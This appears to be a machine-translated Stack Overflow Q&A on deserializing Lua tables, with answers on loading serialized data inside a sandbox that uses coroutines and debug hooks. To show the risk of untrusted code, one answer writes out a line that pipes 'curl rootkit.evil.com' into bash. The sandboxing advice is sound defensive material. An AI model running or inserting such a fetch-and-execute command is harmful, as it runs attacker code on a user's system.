2017-01-30 129 views
2

我已經在lua中序列化了一個表。lua有沒有任何函數來反序列化它?Lua中的反序列化

function dump(o) 
    if type(o) == 'table' then 
    local s = '{ ' 
    for k,v in pairs(o) do 
     if type(k) ~= 'number' then k = '"'..k..'"' end 
     s = s .. '['..k..'] = ' .. dump(v) .. ',' 
    end 
    return s .. '} ' 
    else 
     return tostring(o) 
    end 
end 

local people = { 
    { 
     name = "Fred", 
     address = "16 Long Street", 
     phone = "123456" 
    }, 

    { 
     name = "Wilma", 
     address = "16 Long Street", 
     phone = "123456" 
    }, 

    { 
     name = "Barney", 
     address = "17 Long Street", 
     phone = "123457" 
    } 

} 
file = io.open("test.lua", "a") 
file:write("People:", dump(people)) 

這個程序的輸出是:
人:{[1] = {[ 「電話」] = 123456,[ 「名稱」] =弗雷德,[ 「地址」] =長街16, },[2] = {[「phone」] = 123456,[「name」] = Wilma, [「address」] = 16 Long Street,},[3] = {[「phone」] = 123457, 「name」] = Barney,[「address」] = 17 Long Street,},}

請推薦一種方法在lua中反序列化它。

+1

你應該使用'(「%q」):format(o)'而不是'tostring(o)'來正確地序列化字符串。然後在你的文件的開頭用'return'替換'People:'並用'local people = dofile(「test.lua」)反序列化' –

回答

3

如果你稍微改變你的代碼...

... 
     end 
     return s .. '} ' 
+++ elseif type(o) == 'string' then 
+++  return ("%q"):format(o) 
     else 
     return tostring(o) 
     end 
... 

...你生成有效的Lua。

現在你可以

local function condfail(cond, ...) 
    if not cond then return nil, (...) end 
    return ... 
end 

function deserialize(str, vars) 
    -- create dummy environment 
    local env = vars and setmetatable({}, {__index=vars}) or {} 
    -- create function that returns deserialized value(s) 
    local f, _err = load("return "..str, "=deserialize", "t", env) 
    if not f then return nil, _err end -- syntax error? 
    -- set up safe runner 
    local co = coroutine.create(f) 
    local hook = function() debug.sethook(co, error, "c", 1000000) end 
    debug.sethook(co, hook, "c") 
    -- now run the deserialization 
    return condfail(coroutine.resume(co)) 
end 

反序列化在一個合理的安全的方式的數據。

將數據反序列化的不安全方法是簡單地load("return "..str)(),但這將允許運行任意Lua代碼。

首先,我們把函數放在一個單獨的環境中,這樣它就不會影響全球環境。 (否則,例如,print = function() os.execute "curl rootkit.evil.com | bash" end會用一些稍後從不同的(未受保護的)上下文中調用並運行任意代碼的函數替換某個函數。)爲方便起見,您可以傳入一個表,以便數據可以引用預先定義的變量。 (你可能不需要這個,但是如果你需要預先定義的常量就可以提供它們)。

接下來,我們在單獨的協程中運行該函數,以便我們可以設置調試鉤,不會影響其他程序。然後我們可以通過有效設置debug.sethook(co, error, "c")來禁止任何函數調用。 (由於該功能的初始呼叫「是」 /返回你的數據應該已經觸發此,我們通過一個呼叫時延這一點。因此,我們制定了一個鉤子調用時改變了鉤error

現在所有功能呼叫被禁止,外部不會受到運行代碼的影響。攻擊者能夠做的唯一剩下的事情就是浪費時間 - 例如通過無限循環如while true do end::x:: goto x。所以我們在設置鉤子時也設置了最大指令數 - debug.sethook(co, error, "c", 1000000)。對於相對較大的文件,一百萬條指令應該足夠了。這是一個任意的限制 - 如果它太小,增加它。 (在一個循環中計數達到250000就足夠了,因此創建比這個原始值更多的可能)。

3

反序列化數據的一種便宜方法是運行它。在序列化時,您可以構建可執行文件源。很像你已經做過的,但添加了一些細節 - 在表構造函數前添加「return」,並用引號括起字符串,如果字符串中包含引號,可能需要進行一些轉義。

請注意,雖然只適用於受信任的數據。當數據來自外部來源時,它可能不僅包含預期的數據,而且可能包含一些可能會危害系統的代碼。

否則你可以嘗試JSON,有很多庫已經可用於JSON序列化/反序列化。

+0

爲了安全起見,運行在沙箱中構建表的腳本。 – lhf